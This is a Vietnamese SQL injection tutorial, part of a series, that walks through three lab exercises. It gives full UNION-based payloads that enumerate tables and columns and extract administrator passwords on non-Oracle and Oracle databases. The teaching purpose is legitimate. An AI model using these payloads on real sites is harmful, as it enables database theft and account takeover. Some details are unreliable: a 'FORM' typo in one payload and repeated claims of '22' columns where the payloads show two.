SQL injection vulnerabilities (Phần 4)

II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp) 5. Khai thác lỗ hổng SQL injection – Truy xuất dữ liệu trong các bảng (database tables) (tiếp) 5.2. Khai thác dữ liệu từ các bảng Sau khi đã tìm được thông tin về loại hệ quản trị cơ sở dữ liệu được

II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)

5. Khai thác lỗ hổng SQL injection – Truy xuất dữ liệu trong các bảng (database tables) (tiếp)

5.2. Khai thác dữ liệu từ các bảng

Sau khi đã tìm được thông tin về loại hệ quản trị cơ sở dữ liệu được sử dụng cũng như kiểm tra các thông tin phụ như phiên bản hiện hành, chúng ta có thể sử dụng các cú pháp truy vấn tương ứng để khai thác dữ liệu mong muốn từ các bảng.

Đặt mục tiêu vào các cột usernamepassword trong bảng users (giả sử đã biết trước các thông tin này), xét payload như sau:

' UNION SELECT username, password FORM users--

Payload trên chắc hẳn các bạn đã rất quen thuộc do chúng ta đã phân tích khá kỹ ở các mục trên. Khi đó giao diện trả về kết quả gồm thông tin các cột dữ liệu cần khai thác. Để hiểu kỹ hơn về kỹ thuật này, chúng ta cùng xem xét bài lab sau:

Phân tích lab SQL injection UNION attack, retrieving data from other tables

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin người dùng administrator trong bảng users, biết rằng bảng này chứa hai cột usernamepassword.

Kiểm tra lỗ hổng SQL injection tại tham số category, payload /filter?category=Pets' OR 1=1--

image.png

Kiểm tra số cột dữ liệu trả về của câu lệnh truy vấn. Payload: /filter?category=Pets' UNION SELECT NULL, NULL--

image.png

Như vậy câu lệnh truy vấn trả về 22 cột dữ liệu. Tiếp theo tìm kiếm cột dữ liệu tương thích với kiểu string. Payload /filter?category=' UNION SELECT 'column1', 'column2'--

image.png

Cả 22 cột đều có thể tận dụng để hiển thị thông tin khai thác. Do chúng ta đã biết tên bảng cần khai thác là users cũng với hai cột có tên là usernamepassword, thông tin người dùng cần khai thác có username là administrator, nên ta có thể xây dựng payload như sau:

/filter?category=' UNION SELECT password, NULL FROM users WHERE username = 'administrator'--

Câu truy vấn khi đó sẽ truy xuất thông tin mật khẩu từ cột password trong bảng users thỏa mãn điều tên username tương ứng là administrator, kết quả:

image.png

Đăng nhập với tài khoản administrator:ddryblwycrtpxdcku53g, bài lab hoàn thành:

image.png

Tuy nhiên, có thể các bạn còn có một vài điều thắc mắc như: làm sao để mình có thể biết được các thông tin như, tên bảng, tên cột? Chúng ta hoàn toàn có cách để tìm ra những thông tin này, tuy nhiên phương pháp có phần khác biệt đối với từng hệ quản trị cơ sở dữ liệu.

Đối với hầu hết các hệ cơ sở dữ liệu (trừ Oracle) thì đều chứa một cơ sở dữ liệu thông tin là INFORMATION_SCHEMA – đã được tôi giới thiệu trong mục Đặt vấn đề. Có thể truy xuất thông tin tất cả các bảng với câu truy vấn sau:

SELECT * FROM information_schema.tables

Kết quả hiển thị có dạng như sau:

image.png

Như chúng ta thấy, thông tin tên các bảng được liệt kê trong cột TABLE_NAME. Như vậy, để có thể kết hợp phép UNION nhằm hiển thị danh sách tên các bảng trong cơ sở dữ liệu, chúng ta có thể “hợp” dữ liệu trong cột TABLE_NAME này vào câu truy vấn chứa lỗ hổng SQL injection. Payload có dạng như sau:

' UNION SELECT NULL, table_name FROM information_schema.tables--

Sau khi có được danh sách tên bảng, chúng ta có thể truy xuất thông tin tất cả các cột từ một bảng cụ thể, chẳng hạn bảng Users với cú pháp như sau:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Kết quả hiển thị có dạng như sau:

image.png

Thông tin các cột được hiển thị trong cột COLUMN_NAME. Do đó có thể kết hợp phép UNION nhằm hiển thị danh sách tên các cột trong bảng Users với payload như sau:

' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'Users'--

Phân tích lab SQL injection attack, listing the database contents on non-Oracle databases

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin đăng nhập từ tài khoản administrator, biết rằng trang web không sử dụng hệ quản trị cơ sở dữ liệu Oracle.

Kiểm tra lỗ hổng SQL injection tại tham số category, payload: /filter?category=' OR 1=1--

image.png

Kiểm tra số cột dữ liệu trả về trong câu lệnh truy vấn, payload: /filter?category=' ORDER BY 2-- không trả về error và /filter?category=' ORDER BY 3-- trả về error:

image.png

image.png

Như vậy câu lệnh truy vấn trả về 22 cột dữ liệu. Tìm kiểm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2'--

image.png

Như vậy cả hai cột đều có thể tận dụng để hiển thị thông tin khai thác. Truy xuất tên các bảng, payload: /filter?category=' UNION SELECT table_name, NULL FROM information_schema.tables--

image.png

Quan sát nhận thấy table pg_user có thể chứa thông tin tài khoản người dùng:

image.png

Truy xuất tên các cột trong bảng pg_user, payload: /filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'pg_user'--

image.png

Trong bảng pg_user có chứa cột usenamepasswd là cột chúng ta đang tìm kiếm. Truy xuất thông tin hai cột này, payload: /filter?category=' UNION SELECT usename || ':' || passwd, NULL FROM pg_user--

image.png

Không tồn tại thông tin tài khoản chúng ta mong muốn, chú ý vào một table khác có tên users_ctqofp

image.png

Thực hiện lại các bước trên, truy xuất thông tin tên cột, payload: /filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_ctqofp'--

image.png

Truy xuất thông tin tài khoản administrator, payload: /filter?category=' UNION SELECT username_tgvxoo || ':' || password_wmrodb, NULL FROM users_ctqofp--

image.png

Đăng nhập với tài khoản administrator:3utqzp4omabpvutbnz2u, bài lab được giải quyết:

image.png

Đối với hệ quản trị cơ sở dữ liệu Oracle:

  • DUAL: là bảng một hàng đặc biệt được hiển thị theo mặc định trong tất cả các cài đặt cơ sở dữ liệu của Oracle

image.png

  • ALL_TABLES: trả về thông tin các bảng người dùng hiện tại có thể truy cập.
  • ALL_TAB_COLUMNS: trả về thông tin các cột của bảng

Trong ALL_TABLES có chứa các cột như TABLE_NAME, OWNER, … Xét câu truy vấn sau:

SELECT TABLE_NAME, OWNER, TABLESPACE_NAME FROM all_tables

image.png

Từ đây có payload kết hợp phép UNION trả về danh sách tên các bảng:

' UNION SELECT NULL, table_name FROM all_tables--

Tương tự, chúng ta có payload kết hợp phép UNION trả về danh sách tên các cột:

' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'Users'--

Phân tích lab SQL injection attack, listing the database contents on Oracle

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin đăng nhập từ tài khoản administrator, biết rằng trang web sử dụng hệ quản trị cơ sở dữ liệu Oracle.

Kiểm tra lỗ hổng SQL injection tại tham số category, payload: /filter?category=' OR 1=1--

image.png

Dữ liệu hiển thị bao gồm tất cả các thể loại. Tiếp theo, kiểm tra số cột dữ liệu trả về trong câu truy vấn, payload /filter?category=' UNION SELECT NULL, NULL FROM dual--

image.png

Như vậy câu lệnh truy vấn trả về 22 cột dữ liệu. Tìm kiểm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2' FROM dual--

image.png

Cả hai cột đều có thể sử dụng để hiển thị thông tin khai thác. Truy xuất tên các bảng, payload: /filter?category=' UNION SELECT table_name, NULL FROM all_tables--

image.png

Quan sát nhận thấy table USERS_RRFPZC có thể chứa thông tin tài khoản người dùng:

image.png

Truy xuất tên các cột trong bảng USERS_RRFPZC, payload: /filter?category=' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_RRFPZC'--

image.png

Truy xuất thông tin tài khoản administrator, payload: /filter?category=' UNION SELECT PASSWORD_UFSEWS, NULL FROM USERS_RRFPZC WHERE USERNAME_HQUIIX = 'administrator'--

image.png

Đăng nhập với tài khoản administrator:1t3b78kq9q64oo4ftw6k, bài lab hoàn thành:

image.png

Nguồn: viblo.asia

Bài viết liên quan

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ

Cách sử dụng SFTP (Giao thức truyền file qua SSH an toàn hơn)

SFTP là cách an toàn để truyền files giữa các máy tính, gữa máy local và web hostin

Hotlinking: Key Reasons to Avoid and Methods to Protect Your Site

Hotlinking might seem an easy way to acquire website assets, but in reality, it brings several disad

Sự Khác Nhau Giữa Domain và Hosting Là Gì?

Sự khác nhau giữa domain và hosting là gì? Bài này giải thích ngắn và dễ hiểu nh